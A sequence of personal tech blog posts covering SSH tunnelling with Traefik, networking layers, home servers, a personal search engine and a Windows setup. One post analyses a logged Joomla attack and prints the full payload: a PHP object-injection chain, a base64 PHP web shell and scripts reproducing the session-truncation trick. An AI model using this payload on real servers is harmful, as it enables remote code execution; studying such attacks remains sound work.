We have a service listening on 127.0.0.1:8080 and a router rule that directs requests to tunnel.example.org on port 80 (the web entry point defined when we started Traefik) to our service. Fortunately, this worked just like the original nginx solution, so we're ready to dynamize.

My idea was based on the fact that you could specify a custom command in the authorized_keys file that runs on every SSH connection (this is how Git pull/push works over SSH, for example). Here you could specify a small shell script that would add the appropriate key-value pairs to Redis, and then just wait until the user closes the connection. On closing, it would clean up the Redis keys that were generated.

To do this, you may want to add a separate user so that you can continue to use SSH traditionally with your original user:

tunnel:~# adduser --disabled-password mole

In the authorized_keys file, we add a line with our SSH key:

/home/mole/.ssh/authorized_keys

command="/home/mole/tunnel.sh",no-X11-forwarding,no-agent-forwarding <SSH key>

The command would have a structure like this:

/home/mole/tunnel.sh

#!/bin/bash -e

setup() {
    # setup
}

cleanup() {
    # cleanup
    exit 0
}

trap 'cleanup' INT

setup
tail -f /dev/null

An important feature here is the trap 'cleanup' INT, which can catch the closing of our connection script with Ctrl+C so we can run our cleanup code. The tail -f /dev/null part just waits till the end of time.

Of course, we also need to make this file executable:

tunnel:~# chmod +x /home/mole/tunnel.sh

Now we just need to find the ports that the current SSH connection has opened. To do this, we need the ID of the sshd process, which is the parent of our running script, so we can get it with the following command:

tunnel:~$ grep PPid /proc/$$/status | awk '{ print $2 }'
123263

In bash, $$ is the current process ID, and the /proc directory contains a lot of interesting informations once you know the process ID.

We have the parent process ID, now we just need to find information about the sockets. lsof is a great tool for this, the only problem is that it only returns the information we need for the root user.

As a test, I added the mole user to sudoers to be able to run lsof as root, but I don't know if this is a good idea from a security point of view (for example, if lsof has some lesser-known feature to get a root shell out of it).

/etc/sudoers.d/10-mole-lsof

mole ALL=(root) NOPASSWD: /usr/bin/lsof

So, now we can get the information we need:

tunnel:~$ sudo lsof -a -nPi4 -sTCP:LISTEN -p 123263
COMMAND    PID USER   FD   TYPE  DEVICE SIZE/OFF NODE NAME
sshd    123263 mole    9u  IPv4 1569356      0t0  TCP 127.0.0.1:45991 (LISTEN)
sshd    123263 mole   11u  IPv4 1569360      0t0  TCP 127.0.0.1:39421 (LISTEN)

It has quite a few flags, -a indicates that you want AND relation between the filters, -n tells it not to make hostnames out of IP addresses, -P tells it not to make port numbers into port names, -i filters for IPv4 connections, -s filters for servers listening on TCP, and -p is used to specify the process id. With a little bit of awk magic, you'll quickly have ip:port pairs:

tunnel:~$ sudo lsof -nPi4 -sTCP:LISTEN -p 123263 -a | awk '/127.0.0.1:/ { print $9 }'
127.0.0.1:45991
127.0.0.1:39421

This gives us all the details we need to put together our script:

/home/mole/tunnel.sh

#!/bin/bash -e
PID=$(grep PPid /proc/$$/status | awk '{ print $2 }')

declare -A mapping
for app in $(sudo lsof -a -nPi4 -sTCP:LISTEN -p $PID | awk '/127.0.0.1:/ { print $9 }'); do
  mapping[$(pwgen -A0sBv 10 1)]="$app"
done

setup() {
    for key in "${!mapping[@]}"; do
        redis-cli <<EOF >/dev/null
MULTI
SET traefik/http/services/${key}-service/loadbalancer/servers/0/url http://${mapping[$key]}/
SET traefik/http/routers/${key}-router/rule Host(\`${key}.tunnel.example.org\`)
SET traefik/http/routers/${key}-router/entrypoints/0 web
SET traefik/http/routers/${key}-router/service ${key}-service
EXEC
EOF
        echo "http://${key}.tunnel.example.org/ -> ${mapping[$key]}"
    done
}

cleanup() {
    for key in "${!mapping[@]}"; do
        redis-cli <<EOF >/dev/null
MULTI
DEL traefik/http/routers/${key}-router/rule
DEL traefik/http/routers/${key}-router/entrypoints/0
DEL traefik/http/routers/${key}-router/service
DEL traefik/http/services/${key}-service/loadbalancer/servers/0/url
EXEC
EOF
    done
    exit 0
}

trap 'cleanup' INT

setup
tail -f /dev/null

The only thing left to do is to try it out:

local:~$ ssh -R 0:127.0.0.1:8080 -R 0:127.0.0.1:8081 mole@tunnel.example.org
Allocated port 34021 for remote forward to 127.0.0.1:8080
Allocated port 39097 for remote forward to 127.0.0.1:8081
http://dkchdfskxz.tunnel.example.org/ -> 127.0.0.1:34021
http://kzhrwsmgqk.tunnel.example.org/ -> 127.0.0.1:39097

Also, in another terminal, we can check out the HTTP request:

local:~$ curl http://dkchdfskxz.tunnel.example.org/
hello world

As you can see, we can only tell what the random port is that sshd has assigned to us on the tunnel side, we don't know what port it corresponds to on the local machine. Luckily the SSH client prints it out, so we can put the whole chain together, but it can be a bit inconvenient with multiple remote forwards.

Of course, there is still a lot of room for improvement here as well, such as:

• making sure that the random generated by pwgen does not already exist in Redis
• a periodic cleanup script to delete stuck Redis keys that are no longer working
• HTTPS, mTLS, authentication

Summary

As is usually the case, it is probably not worth building your own solution from scratch for a system used daily by several people, when there are so many ready-made solutions available. However, it can never hurt to know how such a system works under the hood.

It may be worth keeping in mind the easy mode trick, it may even prove useful in the future. SSH is a fantastic thing.

Now with extra fingers for the more efficient hacking experience!

Have you ever wondered what happens behind the scenes when you send an HTTP request? How do the bits know where to go when you ping someone on the local network? Today, we will try to find answers to such questions.

At first, I didn't know how to approach the problem. Do I take an HTTP request and dig down to the bottom or start from the bottom until I'm able to construct an HTTP request? In the end, I decided on the latter.

It may be a bit more alien at the beginning, but I hope it'll make sense in the end. We'll go along the layers defined in the OSI model, so let's start with the hardware.

Physical layer

Chances are that everyone has an Ethernet network at home, something like this:

The modem, the router, and the switch may happen to live in the same box.

It's called the physical layer: a bunch of network devices, tied together with copper strings (or wireless devices tied together with magic). Each network device has a unique MAC address, assigned in the factory. There's a lot more interesting stuff to look into here (like how devices communicate with each other about which speeds they support), but personally, there's not much more I can tell you about it, so let's move on to the next layer, the data link layer.

Data link layer

At this layer, the zeros and ones we know so well finally appear. We have what's called the Ethernet frame, which is a unit of data that we can send at a time. It looks something like this:

Interesting that the sender needs to tell who the sender is. What happens if someone else's MAC address is entered there? Is it possible to do something naughty with this?

Two interesting things to note here. One is MAC spoofing, where we are not happy with the MAC address assigned by the hardware vendor and we want to change it. Say because our ISP's device only works with a fixed MAC address. Or there are Android phones, which by default connect to a Wi-Fi network with a random MAC address so that the phone cannot be tracked between networks.

The other interesting thing is MAC flooding, where the attacker sets up a bunch of random MAC addresses as senders. This fills up the entire MAC address table of the switch, leaving no room for the real MAC addresses. This usually has the consequence that the recipient MAC address of an incoming real packet will not be found in the MAC address table, causing it to be sent out to everyone. This allows attackers to peek into the contents of packets that are not intended for them.

The observant reader may also notice that there is no mention of the so-called IP addresses that we normally use. For that, we need to move on to the next level, which is the network layer.

Network layer

There are several interesting protocols to be mentioned here, all of which will be placed in the data part of the Ethernet frame. First, we need to know what MAC address is associated with a given IP address.

Address Resolution Protocol

ARP helps us with this, we can send a request to which the owner of the IP address can respond. The message structure:

Let's add IP addresses to the above diagram and see a concrete example of a request and response.

Say Alice wants to ping Bob, so she asks which MAC address the IP address 192.168.1.103 belongs to. The request (the green part belongs to the Ethernet frame, the blue part to the ARP request):

The IP addresses are in hexadecimal format, CyberChef is a nice tool for converting. In a request packet, the MAC address of the recipient can be anything, its value will be ignored.

Bob receives this request and since his IP address is 192.168.1.103, he sends a reply:

Here again, the question arises, what happens if Bob is not the only one who replies to the request, but the evil Mallory as well? Could Alice be sending her messages for Bob to the wrong place?

The devices have something called an ARP cache, which holds the IP address - MAC address mappings so that you don't have to ask every time. For Alice, it might look something like this:

$ ip -br neigh
192.168.1.103                           eth0             0a:00:00:00:00:03
192.168.1.104                           eth0             0a:00:00:00:00:04
192.168.1.1                             eth0             0a:00:00:00:00:01

This cache is also updated when an ARP response is received without being requested, which means that if Mallory starts flooding the network with fake ARP responses (telling Alice that he is the router, telling the router that he is Alice), and forwards packets passing through it to the original recipients, he can intercept (or even alter) Alice's Internet traffic without Alice noticing anything.

Internet Protocol

The following protocol is IP, which finally gives us IP addresses and the ability to exchange data between two IP addresses. The IP packet structure:

Internet Control Message Protocol

Since we mentioned ping earlier, we should mention ICMP. It's a strange beast, it belongs to the network layer, but it feels like it should be in the transport layer. It's wrapped into an IP packet in the same way as UDP or TCP, only it's not for data transport. In the case of ping, the message is structured somewhat like this:

Alice already knows Bob's MAC address, so she can finally send the ping she originally wanted, which Bob can then reply to. The request looks something like this (the green part is for the Ethernet frame, the blue part is the IP packet, the red part is ICMP):

To which Bob sends the following reply:

It's getting complicated, and we are far from the end. Did you notice that there was no mention of ports? It wasn't by mistake, at this point the concept of a port does not exist, it is time for us to move up yet another level.

Transport layer

If you've ever opened sockets in any programming language, you'll be familiar with the protocols found here. Let's start with the easy one.

User Datagram Protocol

As mentioned above, UDP is the easier one. There's no guarantee that the packet will arrive, no retransmission for lost packets, you just yell into one end of the pipe and hope that the other end will hear it. A packet looks like this:

The sender port is also optional, if it is not set to zero, then the response packets are expected on that port.

Transmission Control Protocol

And this brings us to the famous and popular TCP. The cornerstone of the pack-everything-in-your-browser-and-serve-it-over-HTTP-based Internet. Until the wide adoption of HTTP/3, which uses UDP. A packet looks like this:

It's not just the structure of the packet that is important, but the little dance that the client and server do to exchange data. The connection must be established and closed, and both parties have to acknowledge that they have received the data sent by the other.

Establishing a connection

1. the client sends a SYN packet
   (the sequence number is 0, as this is the first packet from the client)
2. the server replies with a SYN, ACK packet
   (the sequence number is 0, as this is the first packet to the server, the acknowledgment number is 1, as the sequence number received before was 0 and no data was included, so the next packet will be expected to have the sequence number of 1)
3. the client responds with an ACK packet
   (the sequence number is 1, the acknowledgment number is 1)

Data exchange

1. the client sends 10 bytes of data
   (the serial number is 1)
2. the server replies with an ACK packet
   (the sequence number is 1, and the acknowledgment number is 11 since the previous sequence number was 1 and 10 bytes of data were received)
3. the server sends 100 bytes of data
   (the sequence number is 1)
4. the client replies with an ACK packet
   (the sequence number is 11, the acknowledgment number is 101)

Closing the connection

1. the client sends a FIN packet
   (the sequence number 11)
2. the server replies with a FIN, ACK packet
   (sequence number 101, acknowledgment number is 12)
3. the client replies with an ACK packet
   (the sequence number is 12, and the acknowledgment number is 102)

Application layer

We elegantly skip two layers, the session layer and the presentation layer. The session layer contains the SOCKS protocol for example, and the scope of the presentation layer often merges with the application layer.

The application layer can be, for example, HTTP. Using the knowledge gained above, let's see what happens when Alice runs a simple curl www.example.org command.

To be able to tell this, we need to know Alice's network settings. Suppose something like this is configured:

auto eth0
iface eth0 inet static
      address 192.168.1.102
      netmask 255.255.255.0
      gateway 192.168.1.1
      dns-nameservers 1.1.1.1

• we can do nothing with the www.example.org domain, we need an IP address
• the configured DNS IP address is not on the local network, so the request has to be sent to the router (gateway)
• send an ARP request to find out the MAC address of the router
• send a UDP packet to the MAC address of the router with the DNS IP address in the IP packet
• the router sees that it is not the recipient, so it forwards the packet to the Internet (NAT and connection tracking are also involved here so that the router's public IP address is visible in the packet on the way out and it knows who to forward the reply to)
• a reply UDP packet arrives from the Internet, the router sees that it is not the recipient
• because of connection tracking, the router knows where to forward the packet
• forward UDP packet to Alice
• IP address of www.example.org is X.X.X.X
• establish a TCP connection, make an HTTP request
• the address X.X.X.X is not on the local network, so TCP packets are sent to the MAC address of the router with the corresponding destination IP address
• reply packets are forwarded by the router to Alice
• closing the TCP connection
• ARP requests are probably not needed at this point because they are cached

Another question that may arise is how to know that an IP address is not on the local network. From the address/netmask/gateway settings above, a routing table is generated that looks something like this:

$ sudo route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         192.168.1.1     0.0.0.0         UG    0      0        0 eth0
192.168.1.0     0.0.0.0         255.255.255.0   U     0      0        0 eth0

I don't say I know exactly how this works, but I would guess that it will pick the narrowest match or start from the end and work backward and pick the first match, but the point is, if something is in the range 192.168.1.0-192.168.1.255 it will just simply send it out to the appropriate MAC address, for all other IP addresses it will send the packet to the MAC address associated with the IP address 192.168.1.1. The router has a similar routing table to decide what to do with the incoming packets.

Summary

I hope I have managed to get a glimpse of what happens "underneath" us when we use the Internet. There are a lot of things going on through many layers and we have only managed to scratch the surface a little bit.

We didn't even get very far, just ventured as far as the router. What's beyond that... is a world of its own, with things like DSL, SDH, PPP, MPLS, BGP, OSPF, and a bunch of other acronyms I don't even know about. And yet, in most cases, our packets get to the right recipients. What is this if not magic?

Somehow I've always been attracted to the idea of having a home server. The first one was an ancient desktop PC with a retro gray case on which we installed Debian. It was the start of my journey with Linux. Later, I snatched a used Dell OptiPlex Gx240, which lasted until the Raspberry Pi Model B came out. From then on, I used Raspberry Pi as a home server for quite a long time, always switching to the latest version.

But ARM-based systems aren't without their own problems. Some things didn't work, there were missing packages or it needed cross-compiling. Not to mention that the Raspberry Pi is not a powerhouse either. I had an eye on the x86 architecture for a while, especially the Intel NUC product line, but in the end, I replaced my home server needs with cloud servers.

At some point, I moved down from the cloud and currently have three servers running at home.

File server

A descendant of the old Raspberry Pi servers, a Model B 4 with 4 GB of RAM. Later I attached a 4 TB external drive to it, since then it has been used mainly as a file server with Samba. It also runs Syncthing, which I use for file synchronization between my machines.

It also has a partner in crime, a similar Raspberry Pi 4 Model B (probably with 4 GB of RAM as well, but I'm too lazy to check) running LibreELEC for making the TV smarter, but I wouldn't count that as a server.

The old router

At one time I ran across a lot of articles about how cool it is to build your own router from PC parts. So I got to build one in Mini-ITX size:

• Chieftec IX-03B-OP case
• Gigabyte GA-N3160N-D3V motherboard
• Intel Celeron N3160 integrated CPU
• 8 GB RAM
• SATA SSD
• passive cooling

It was really cool, I learned a lot, but after a while, it was too much of an inconvenience. I switched back to a normal router, but I kept the machine and a few services that still run from here. It has a recursive DNS resolver that also works as a DNS-based ad blocker (like Pi-hole, but homemade) and a TFTP/NFS server for the Raspberry Pi with LibreELEC. It had an OpenVPN server as well, but I started to migrate it to WireGuard and never finished, so I got neither of them now.

Application server

The old router wasn't meant to be a powerful machine, I needed something else to run applications on. I really liked the Mini-ITX form factor, so I packed up a similar little box as the router:

• the same Chieftec IX-03B-OP case
• Asus PRIME H410I-PLUS motherboard
• Intel Core i3-10100 CPU
• 16 GB RAM
• NVMe SSD
• active cooling

The machine is running a Docker Swarm, with Portainer and Traefik (details in the moving post). I tried out many things on it (Elastic Stack, Nextcloud, MQTT server for sensors). Currently, it is only running a GitLab instance (Git server, container/package registry, build server) and a MediaWiki. Maybe I could replace the latter with GitLab's built-in Wiki page as well.

And I think that's it. I hope you've been inspired by it and are already planning your new server. If you're just starting out on the (not particularly) bumpy road of home server ownership, a Raspberry Pi with the official Raspberry Pi OS Lite might be a good place to start (if it isn't out of stock). Relatively cheap, well-supported hardware, can handle quite a few self-hosted applications. Then, as you experience shortcomings along the way, you can look for alternative solutions.

Years ago I gave an in-house talk about a vulnerability that's so tangled, so improbable, that it still amazes me to this day.

It all started with a remarkably strange line in the web server logs. You could find a lot of strange lines in the logs of a web server connected to the public Internet, but remarkably strange ones...

192.0.2.1 - - [16/Oct/2018:17:33:48 +0000] "GET /?1=%40ini_set%28%22display_errors%22%2C%220%22%29%3B%40set_time_limit%280%29%3B%40set_magic_quotes_runtime%280%29%3Becho%20%27-%3E%7C%27%3Bfile_put_contents%28%24_SERVER%5B%27DOCUMENT_ROOT%27%5D.%27/webconfig.txt.php%27%2Cbase64_decode%28%27PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2B%27%29%29%3Becho%20%27%7C%3C-%27%3B HTTP/1.1" 301 178 "-" "}__test|O:21:\x22JDatabaseDriverMysqli\x22:3:{s:2:\x22fc\x22;O:17:\x22JSimplepieFactory\x22:0:{}s:21:\x22\x5C0\x5C0\x5C0disconnectHandlers\x22;a:1:{i:0;a:2:{i:0;O:9:\x22SimplePie\x22:5:{s:8:\x22sanitize\x22;O:20:\x22JDatabaseDriverMysql\x22:0:{}s:8:\x22feed_url\x22;s:46:\x22eval($_REQUEST[1]);JFactory::getConfig();exit;\x22;s:19:\x22cache_name_function\x22;s:6:\x22assert\x22;s:5:\x22cache\x22;b:1;s:11:\x22cache_class\x22;O:20:\x22JDatabaseDriverMysql\x22:0:{}}i:1;s:4:\x22init\x22;}}s:13:\x22\x5C0\x5C0\x5C0connection\x22;b:1;}\xF0\x9D\x8C\x86"

There are two interesting parts to this request. The data in the GET parameter (named 1) and the value of the user agent (the part between quotes at the end). Let's look at the GET parameter first.

Remote access

After decoding and some formatting, we get the following PHP code (by the way, CyberChef is a great tool to do such things):

@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);

echo '->|';
file_put_contents(
  $_SERVER['DOCUMENT_ROOT'].'/webconfig.txt.php',
  base64_decode('PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+')
);
echo '|<-';

It tries to write something into the webconfig.txt.php file. After a quick base64_decode, we get another code:

<?php eval($_POST[1]);?>

It's a simple PHP remote shell an attacker could use to run any PHP code on the machine. But why encode it with base64? The moment I saved the file of this post containing the code above I got an alert from the antivirus software that it found a backdoor, but it couldn't be bothered by the base64 encoded string.

The problem is that the original HTTP request wasn't for the webconfig.txt.php file so the remote shell couldn't run the code it got from the 1 parameter. And anyway, why would they send a command to the remote shell to create itself? There must be some naughtiness in the user agent.

Code reuse

After a bit of formatting and decoding, we got this:

}__test|O:21:"JDatabaseDriverMysqli":3:{
  s:2:"fc";O:17:"JSimplepieFactory":0:{}
  s:21:"\0\0\0disconnectHandlers";a:1:{
    i:0;a:2:{
      i:0;O:9:"SimplePie":5:{
        s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}
        s:8:"feed_url";s:46:"eval($_REQUEST[1]);JFactory::getConfig();exit;";
        s:19:"cache_name_function";s:6:"assert";
        s:5:"cache";b:1;
        s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}
      }
      i:1;s:4:"init";
    }
  }
  s:13:"\0\0\0connection";b:1;
}\xF0\x9D\x8C\x86

There is no shortage of naughtiness here, that's for sure. It starts with a } character right away. That could be part of some kind of injection and they try to close the previous value with it.

The next part could remind experienced PHP developers of the output of the serialize function, but it's not quite the right format. The session_encode function has such a result and PHP stores the content of the session with this encoding. There is a strange \xF0\x9D\x8C\x86 part at the end as well. I couldn't figure that out yet, but I'm sure it's up to no good.

It looks like they try to create a new variable in the session through the User-Agent header. This new __test variable would be an instance of the JDatabaseDriverMysqli class. It has an active connection (connection is true) and a disconnect handler, the init method should be called on an instance of the SimplePie class in case of disconnect. This already sounds a bit strange, but if we take a look at the value of the feed_url, it gets more suspicious:

eval($_REQUEST[1]);JFactory::getConfig();exit;

Yet another remote shell, just to be sure.

Deep in the Joomla

With the help of the class names starting with a J, we could figure out that it's about Joomla. With a bit more research we could even find the vulnerability as well which contains the exact version. Now we can check out the source code. The relevant part of the JDatabaseDriverMysqli class:

public function __destruct()
{
    $this->disconnect();
}

public function disconnect()
{
    if ($this->connection)
    {
        foreach ($this->disconnectHandlers as $h)
        {
            call_user_func_array($h, array( &$this));
        }

        mysqli_close($this->connection);
    }

    $this->connection = null;
}

Before the removal of the object, it calls the disconnect method which runs all the disconnect handlers. In our case the init method of our suspicious SimplePie class:

function init()
{
    // ...

    $cache = call_user_func(
        array($this->cache_class, 'create'),
        $this->cache_location,
        call_user_func($this->cache_name_function, $this->feed_url),
        'spc'
    );

    // ...
}

The interesting part for us is that it calls the cache_name_function with the feed_url as the parameter. With the data from the user agent, this would end up as the following function call:

call_user_func('assert', 'eval($_REQUEST[1]);JFactory::getConfig();exit;');

It's quite an old vulnerability so it depends on the behaviour of the assert function before PHP 8.0.0. It runs the string it got as PHP code and checks the result. So this call would run the PHP code it got in the GET parameter.

We managed to solve the request, it's time to summarize what we found out:

• there is a PHP code in a GET parameter that would create a remote shell if it runs
• the content of the user agent looks like an injection that would create a new variable in the session
• the new variable is a carefully crafted object structure that would run the code in the GET parameter during the removal of the object

Joomla at some point puts the user agent into the session. Depending on the configuration this session could be stored in many places, but the default setting is that it gets saved in a MySQL table with the MySQLi driver. Another important detail here is that it sets the character set of the database connection to utf8 (and most likely the database and the tables have the same utf8 character set as well). But how would we end up with an injection?

Strange behaviors

We have two suspects remaining: the session handling of PHP and the data storage in MySQL. Let's start with the PHP. Here is a simple example to see how the session_encode works:

session_start();

$_SESSION['foo'] = array();
$_SESSION['bar'] = 'something';

print(session_encode() . "\n");

$ docker run --rm --volume $(pwd):/app --workdir /app php:5.3.29 php test.php
foo|a:0:{}bar|s:9:"something";

Now that we roughly know what the expected output looks like we can try to add some naughtiness to it:

session_start();

$_SESSION['foo'] = array();
$_SESSION['evil'] = "}__test|O:8:\"stdClass\":1:{s:4:\"evil\";b:1;}\xF0\x9D\x8C\x86";
$_SESSION['bar'] = 'something';

print(session_encode() . "\n");

$ docker run --rm --volume $(pwd):/app --workdir /app php:5.3.29 php test.php
foo|a:0:{}evil|s:46:"}__test|O:8:"stdClass":1:{s:4:"evil";b:1;}𝌆";bar|s:9:"something";

Nothing exciting yet, it just runs serialize on our naughtiness. Even the strange \xF0\x9D\x8C\x86 string turned out to be just a 4-byte UTF-8 character. But what happens if we try to decode this data?

$data = session_encode();

$_SESSION = array();
session_decode($data);

var_dump($_SESSION);

$ docker run --rm --volume $(pwd):/app --workdir /app php:5.3.29 php test.php
array(3) {
  ["foo"]=>
  array(0) {
  }
  ["evil"]=>
  string(46) "}__test|O:8:"stdClass":1:{s:4:"evil";b:1;}𝌆"
  ["bar"]=>
  string(9) "something"
}

Absolutely nothing extraordinary. It's so disappointing. Maybe that \xF0\x9D\x8C\x86 part is related to MySQL. Let's start a server and check it out.

docker-compose.yml

version: '3'
services:
  app:
    image: php:5.3.29
    volumes:
      - .:/app
    working_dir: /app
  db:
    image: mysql:5.6.51
    environment:
      MYSQL_ROOT_PASSWORD: secret
      MYSQL_DATABASE: test

Our little test script connects to the database, sets the character set of the connection to utf8, creates a table with the same character set, and inserts a row that contains our naughty little byte sequence in the middle. And finally, we read the data back.

$db = new mysqli('db', 'root', 'secret', 'test');
$db->set_charset('utf8');

$db->query("CREATE TABLE test (id INTEGER NOT NULL AUTO_INCREMENT PRIMARY KEY, data TEXT NOT NULL) CHARACTER SET utf8");

$stmt = $db->prepare("INSERT INTO test (data) VALUES (?)");

$data = "foo\xF0\x9D\x8C\x86bar";

$stmt->bind_param('s', $data);
$stmt->execute();

$result = $db->query("SELECT * FROM test");
var_dump($result->fetch_assoc());

$db->query("DROP TABLE test");

$ docker-compose run --rm app php test.php
array(2) {
  ["id"]=>
  string(1) "1"
  ["data"]=>
  string(3) "foo"
}

At long last, something is happening. Part of the original data with our naughty string vanished.

The trick is that the utf8 character set (its full name is utf8mb3, also known as 3-Byte UTF-8 Unicode Encoding) isn't able to handle 4-byte UTF-8 characters (there is another character set for that called utf8mb4). If it encounters such a byte sequence it discards it with the rest of the data as well. It only stores the data up until the invalid character.

Let's look at the session_decode again to see what would happen if we simulate this behavior:

$data = session_encode();
$data = substr($data, 0, strpos($data, "\xF0\x9D\x8C\x86"));

$_SESSION = array();
session_decode($data);

var_dump($_SESSION);

$ docker run --rm --volume $(pwd):/app --workdir /app php:5.3.29 php test.php
array(3) {
  ["foo"]=>
  array(0) {
  }
  ["evil"]=>
  NULL
  ["46:"}__test"]=>
  object(stdClass)#1 (1) {
    ["evil"]=>
    bool(true)
  }
}

Looks like PHP handles incomplete session data rather poorly. With that, we finally have the last piece of the puzzle in its place. We managed the reproduce the behavior that leads to the creation of a remote shell on the server by that remarkably strange HTTP request.

Observant readers may have spotted that I used quite an old version of PHP and MySQL in the examples. The reason is simple, in more recent versions this would not work.

Inserting our naughty little byte sequence in MySQL 5.7.42:

$ docker-compose run --rm app php test.php
Fatal error: Uncaught exception 'mysqli_sql_exception' with message 'Incorrect string value: '\xF0\x9D\x8C\x86ba...' for column 'data' at row 1' in /app/test.php:14
Stack trace:
#0 /app/test.php(14): mysqli_stmt->execute()
#1 {main}
  thrown in /app/test.php on line 14

Decoding mangled session data in PHP 5.4.45:

$ docker run --rm --volume $(pwd):/app --workdir /app php:5.4.45 php test.php
Warning: session_decode(): Failed to decode session object. Session has been destroyed in /app/test.php on line 43
array(1) {
  ["foo"]=>
  array(0) {
  }
}

Summary

It was a long journey, let's review what it took to exploit this vulnerability:

• an older version of PHP and MySQL (at the time of the publication of this vulnerability PHP 5.4 and MySQL 5.7 have been available for years)
• storing the session in MySQL in a table with a utf8 character set and with a database connection with a utf8 character set as well
• storing untrusted user data in the session
• the existence of classes in the code that, if combined in an unusual way, will eventually successfully execute a string as PHP code

What's the lesson learned? I don't know... things could go sideways even if you do everything right? In any case, remember this little investigation the next time you think that a potential vulnerability (be it in a library you use, the interpreter of your language of choice, or the database) cannot be exploited through your code.

Further reading

• Code Reuse Attacks in PHP: Automated POP Chain Generation
• A Different Kind of POP: The Joomla Unserialize Vulnerability
• OWASP: PHP Object Injection

Our topic for today, dear reader, is a little thought experiment: what if everyone had their own personalized (even local) search engine, instead of having to use central providers (DuckDuckGo, Google, Bing, and others)?

Obviously, from a privacy perspective, it would be a huge step forward if giant corporations wouldn't be able to collect who knows what kind of data about everyone in the world, and then to do who knows what with it. But is it technologically feasible?

The search engine

Before we get into details, let's take a broad look at how a search engine might work.

Download

There are programs called crawlers that visit a page, download its HTML source, extract links from it, visit those pages as well, extract links from them, and so on. Well-behaving crawlers respect the robots.txt and site owners can make their work easier by creating a sitemap.xml.

Processing

From the many-many HTML source files, data should be extracted. Most likely we would also need some context about where the text was found (e.g. page header or footer text), which can then be used later for ordering our search results. Additional metadata can be extracted if the website is using Open Graph, Microformats, or Schema.org protocols.

Storage

We have a couple of options here, based on the amount of data we are willing to store. We will definitely need an index that tells us all the pages that contain a word or phrase. If we also want to display the context where we found that phrase on the results page, we also need to store the data extracted by the processing step. If we want to display the web page from which the index was generated, we will need to store the full HTML page as well.

Search

A (web) application that converts a search term entered by a user into a database query and displays the results.

Download the Internet

So our first problem is the crawler. According to the Internet, there are roughly 400 million active websites today. Even if each of them has only 10 pages (probably a huge underestimation), we are talking about 4 billion pages we need to visit. If we can download every page in 100ms and extract links from it (also a highly optimistic estimate), it would take a crawler more than 12 years to visit everything. A thousand parallel crawlers could finish in 4-5 days... but it sure would be exciting to see billions of people sending thousands of crawlers to the Internet to build their own index.

And that was a very optimistic estimate. How much?

Just think about the fact that nowadays the f...antastic developers like to build websites that are unable to work without downloading and running (multiple megabytes of) JavaScript. So we might need a headless browser to extract the final HTML, which certainly won't finish in 100ms. That would be at least one (but maybe more like two) orders of magnitude slower.

Processing at this scale would also probably be too time-consuming and resource-intensive. Even if they would all be hand-crafted, minimalistic, syntactically, and semantically correct HTML pages... but obviously this is far from the reality. And then there are the SEO tricks, like text that is invisible to the user but present to the crawler and similar naughty things. We should filter out those as well.

Storage has similar problems. Google claims that its index is over 100,000,000 gigabytes in size. Even if it's mostly images and videos, this is way too much to store comfortably on a desktop computer. So it seems that there are problems with three of the four parts (download, processing, and storage). We are up to a bad start.

Alternative solutions

The overload caused by the crawlers could be solved by allowing crawlers to talk to each other about who has been where and exchange information. Although I don't know how we could do this safely so that a rogue crawler can't poison others with false information. And this doesn't help with the amount of data either.

But do we really need the whole Internet? Chances are that we are only interested in content in one or two languages other than our own, and we wouldn't need all of that data either. If we could somehow pick that one percent of the Internet we are interested in, then maybe we could make our own search engine work. We could enter pages into our personal search engine that we think are important enough to crawl, and then go through the external links on those sites, and so on. In the end, we would have a manageable amount of HTML files that could probably be stored on our computer.

In the end, however, it doesn't seem economical (or even possible) to have everyone run their own crawlers and produce their own index, but that doesn't necessarily mean that everyone can't have their own copy of the index. There could be, say, some open index format or database structure and anyone could publish their own indices.

The possibilities are endless, but let's take a look at some ideas for inspiration:

• thematic indices, like an index for programmers, with documentations, StackOverflow, and more
• big sites could publish their own index of their content (no crawling is needed, but in return, you trust them that the index and the real content of the site are the same)
• location-based indices, when you need to find all the ice cream shops in Prague
• companies that produce paid indices
• libraries, and public organizations that would make indices of content in their own language
• indices of non-profit organizations, such as archive.org, which already has such data anyway
• frequently updated news-like indices
• infrequently updated encyclopedia-like indices
• the index of your neighbor Joe, which is created from his favorite websites

Users could load the indices of their choice into their personal search engine, deleting parts that are not relevant to them to save space or get better results. During the search, they could choose which indices to search in.

From here on, the choice of index providers would determine the quality of the results. I suppose, over time, the good providers would rise to the top, and there would be know-how about index customizations. Any time when the quality of an index deteriorates, or it's not fresh enough, one would have the option to look for a new provider. And for the more tech-savvy, there would still be the option to start their own crawler and build their own index (which they can then sell to others).

Not much has been said about the search interface itself, but that part seems pretty straightforward. Since the index/database has an open format, anyone could build software on it. There would probably be some great open-source alternatives, either as a desktop application or as a web application that could be self-hosted on a server. And there would be plug-ins for these applications that could add calculators, currency converters, search history, and who knows what else to the basic functionality.

Summary

I have a few more little ideas here and there, but I didn't want to ramble too much. Let's get back to the original question. Is it just a dream to have your own search engine? If you want to search the whole Internet: yes. But you don't necessarily need the whole Internet to be happy (or to have a search engine that works well). With the right index providers and index sizes that are acceptable to the end user, I think it could work.

Web developers at work; late work of Leonardo da Vinci

Sometimes I feel like an endangered species among all the half-eaten apples, so I'll tell you a little bit about what my development environment looks like as a (web) developer on Windows.

As the rays of the Sun slowly penetrate the three layers of tempered glass, one of the most extraordinary creatures in the northern hemisphere can be seen - Scriptor fenestralis, better known as the web developer on Windows.

Their natural habitat is an ideal combination of artificial lighting and cool temperatures, creating an optimal environment for mentally challenging work.

In short: it's a Windows host machine running a Debian-based virtual machine with Hyper-V. Within that, I use Docker to run specific projects. It's not fancy technology by any stretch of the imagination, but I haven't had the urge to experiment with WSL2 more seriously. But let's get into the details.

The physical machine

I used to use VirtualBox, but then I switched to Hyper-V, because it's already included in Windows, you just have to turn it on. Also, I thought, if it's an official virtualization platform, it might work better. I don't have anything to back this up, one thing I can think of is that the virtual machine starts when the machine starts, but maybe you could do that with VirtualBox as well.

Networking

If you want to access your virtual machine (or the Internet from your virtual machine), you need to set up a network for it. Here we can go in two directions, we can use either an External switch or an Internal switch (there is also a Private switch, but that doesn't help us now).

